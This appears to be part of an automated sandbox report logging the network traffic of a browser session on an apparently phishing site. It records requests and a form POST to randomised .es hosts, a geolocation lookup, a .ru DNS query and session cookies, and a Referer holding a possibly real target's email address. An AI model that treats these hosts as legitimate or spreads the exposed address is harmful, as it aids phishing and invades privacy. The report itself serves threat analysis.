Source: global traffic	HTTP traffic detected: GET /stBXwT2sbjUayhGwpr3Q9ZyNUZxklYmVVXrORKRzNqS5g672qid6nJr35VzqrtK54MbcUQMef256 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJ6WlZOMXJ1NDlTQXJDbnJ2Q3ZIMUE9PSIsInZhbHVlIjoibm80dDBSK1ZFTGZJa1dNeWx1d01JcExUMHhxd3JCTEloWVBkTnVONEYyZXVlWVMrR01Ed0NSZEpjSVdFM0lWOHdOYjYxbE5SZlU1QlIzcWJwMVEyTjlEQ3VnUmQ3NGtpd0ZZVjhqVHR0ZXlXdEVLSHdJMGNtdC9BNWI0YWRRb28iLCJtYWMiOiI1OGU0MTk5NmUxNmE4YmY4NzA3NmFkMTZkZmZmNDhhMDc1YzdkZTQ1M2I0MWE2OTI2ZmQzMzAwMjc2NWQyZGEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBLTE03UjBTSzlKeXlUcU05d3M2bHc9PSIsInZhbHVlIjoiWmtiNVROejQzMTJJZlR0dnVLanBpdlJ4bXRNeCtCc2s1Lzk0aUNuOFNCeG04b0ZQdzRCK2pPbzBXVXNkRUJweG4yanpERGFMdCs3VWd2SFRaY2dtN1NXMDFqK1ppQzg3YnZIT21YcmtWUCs3V0FiL2xHMVhvK2pwa3VzbXMrYXIiLCJtYWMiOiI3MWQ1NjI2OWFiOThiOTMyNGUxOWI5ZmQwYTcwMmI5Zjk0OGNjM2Q0NWVkYjA0ZmQ4N2NlNjRmNTgzYjE5ODIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://nvgy.zonqdkqezktw.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTrs1CE7p3D3U1Rq7yzEDwx40 HTTP/1.1Host: rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pwprw4n0USvq3YlbR2pqVrkJYJXs9t3TupoZvAT8a9LwBvbs8Wyp05 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikp6NjZ3RVZZVldCczNIbTVDNzlKcVE9PSIsInZhbHVlIjoidGFnYlRSbTJUemZORjRFR2JhcHl0VFRkbENHNVJKQzJnMFdGWGtLaWlTU0ppenh2aCs4NWlGeVY2dzRrODJDWEtMc0pNNHkzUmxpdWR1MWFMVktFVk5tVjdsK0dOdDI4ekI4QUdDOHZGSFBVZG96cnhJaVZSeG1YUHZuckxDQWciLCJtYWMiOiJlZTgxMTM3MjViNmVkNjA3NTA1OGQ2MzQ4MDYwNjIwNTUzM2FlMWI3MTU0ODhhNmVmZTNmNzU4OGFmMTM2Mjk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii90a0tacnBsTjRCYzJOODNFUm9oaUE9PSIsInZhbHVlIjoieGVuaHNMYW8wZElwdGV3cjU3cGVjd0NxQ1orNHRiWGFiYkYvaVJ6ak0yVFZmYytmQTBkWU5UNExKRmxMT3llV1k4QXFJMTN6VFdGSUZkcnBMUTRhRjB3akxhYm05ZFhxZGljVUR1ZmFHR3hHUEx5T0pucXBsbFE3Z1BLQjJHdFEiLCJtYWMiOiI4NzljOWQ3OGMzM2U1NzhhOTMwZjM3MTdmZmRjNTBmMGRhM2Y5MGM3ZjQ4OWYyYzMyMWNjZThiOTY2YzI1NjQ1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzwHvZn4qpm8fOs78QOKdpAKYop50 HTTP/1.1Host: rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzgMGWScu6Q2eU569GLTpcop50 HTTP/1.1Host: rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzMdrY59wxJH5hGZ56pCGMAX4Qqr50 HTTP/1.1Host: rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: nvgy.zonqdkqezktw.es
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a3fv1.ajcffp.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es

Source: unknown

HTTP traffic detected: POST /lobIFM35ef0YB7ynrIMZkoZzr3so5LWwiAwAFQMbzp HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEHhePzKgARC4zlSwsec-ch-ua-mobile: ?0Accept: */*Origin: https://nvgy.zonqdkqezktw.esSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.usAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRqZ1d6TERIakZFdzQ3T0RlL3NiUFE9PSIsInZhbHVlIjoiVkNKMGFKMDBSL2RreHUwSFZmL2o2TCtHUUlHWjF4Sm4rMlNIZFVBblVDb05EMWxtSVNCVGdFcFVlMjg3dVpydEJmemh5d2EvcDJHelFTRjd2enMxYSt2NFJsOGQ4LytsRm9GL2VrSXNpUmhCU2ZzYU95eUV4SnIzbXBEOVFiK3IiLCJtYWMiOiJhMTQ1ZmY3OTExNjI1YmZmMjExOWEwMzk2YjY2Nzg5ZDMwMzkyYWRjNjI2ZDQ4YTQxNzBkMGMzOWQxODljMDEwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc5Z1JyTlpCaFg4d09WVkhzdFpQMUE9PSIsInZhbHVlIjoicjZlZVI4OTF1VDRxUUFvSjk4M0JiWFpXeENyWDYzWFhoR28zQmRPQjE2eHhiMkg5cGVyMmR0OXRjWUFxOEp6MGVDTVdnZVo2dWtBdnBZT0JEM09oUGw1ZHZSbkpLcjdCRm5PSU8vT1YyOGlGYmt3U1JRem5tcytpUENaRXpkNkMiLCJtYWMiOiJlZmZhM2E1MDMwMGFjZGYzYzgzZTljYWYwYmMyMDE4NDdkZTFkYWMzMTJkNTNiNTA1MGUyZGUwNThhOWI2YTY4IiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 21:11:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CUk18z8d0W9IcUNIVfkVtwDKUPTCMtnXzwOL1TK%2FYuKb7djOzAZzvF9uoSP11hvAvMM8Fcm7yizmWX6GE3rsF1zRkqhoo%2Bw7wLVBexFHVYZZT4%2BvkTR3bP1SLwVQDxpSvsj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=16734&min_rtt=16722&rtt_var=6295&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2066&delivery_rate=240428&cwnd=252&unsent_bytes=0&cid=e4966ceab135a58f&ts=184&x=0"Server: cloudflareCF-RAY: 9269a3bbbe305541-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=89898&min_rtt=89821&rtt_var=19018&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1721&delivery_rate=34026&cwnd=252&unsent_bytes=0&cid=e19d023f7bda0220&ts=444&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 21:11:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDAge: 62Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=57xhERg%2BYwmIdhGo9kLKUFGeSPt1So28LUKZF2pFOkpKm3vEL9rGMGHfiKJfBXDNhgku3U%2FSzFQGWpjgOVgUwH6sxbC%2FjzYujEGQORCM8GA0SAYSsdYNGJftZFNExjx%2BxM%2BT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=330&min_rtt=322&rtt_var=105&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2276&delivery_rate=11049180&cwnd=252&unsent_bytes=0&cid=344ae1077c84db99&ts=12&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 9269a3c00a877c78-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=89856&min_rtt=89217&rtt_var=19467&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1930&delivery_rate=34244&cwnd=252&unsent_bytes=0&cid=9b55d7aa95386e97&ts=247&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 21:11:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YmAb7p2T6UEwWDEzPHqc1U3sWM9pndlaH4s3KzI15Aq8s79G3giS2E%2FHXAOeKTUsFwBA7B5SwmbZhBEHyjzGH%2Fvp%2FX5zYopSHM2s5ed%2BC030Py97ubsayywrRcq0E0dpqik3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=355&min_rtt=316&rtt_var=114&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2065&delivery_rate=11721739&cwnd=252&unsent_bytes=0&cid=ca375340516de6e9&ts=165&x=0"Server: cloudflareCF-RAY: 9269a3c2a85243cd-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=89476&min_rtt=88925&rtt_var=19588&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1718&delivery_rate=33737&cwnd=252&unsent_bytes=0&cid=d9e417167908a01a&ts=401&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 21:11:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RHiemQVRlMppxjTi%2F0mGkuORfgUQZRohSJy%2BZYq4IqqlIjFytLd4idhTnTST%2BV3VNGI58yf%2F1NcS6v5MwBXncEK9wvWyK0vDW%2BqSV7lQ%2BK8I7nydTfnGyVKwCev3Xmb9HXJI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=401&min_rtt=379&rtt_var=120&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2078&delivery_rate=10212121&cwnd=252&unsent_bytes=0&cid=f01e18740af920bd&ts=154&x=0"Server: cloudflareCF-RAY: 9269a3d8a82bb886-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=89337&min_rtt=89305&rtt_var=18889&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1733&delivery_rate=34185&cwnd=252&unsent_bytes=0&cid=9f127d7ac1677c6a&ts=420&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 21:11:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uRcWcVdi0yGHeA7Zuma%2BxpJ2RDs9mTz09Qb9Tzzjk%2FnpuSZTepNWHW0oL9bMdw9zM2Gy1%2BR%2F2ZSU9pbOM6%2BKG8QlWUlG1h%2B9gPVufXO4ZWhpc%2FR1ZPk7l2k4XPBvtkh65vV8"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=353&min_rtt=335&rtt_var=107&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2080&delivery_rate=10929729&cwnd=252&unsent_bytes=0&cid=dfafd0793f140df8&ts=158&x=0"CF-RAY: 9269a41fcd0343e2-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_117.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_117.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_128.1.dr	String found in binary or memory: https://www.bestbuy.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 142.250.81.228:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.196.11:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.165:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49766 version: TLS 1.2
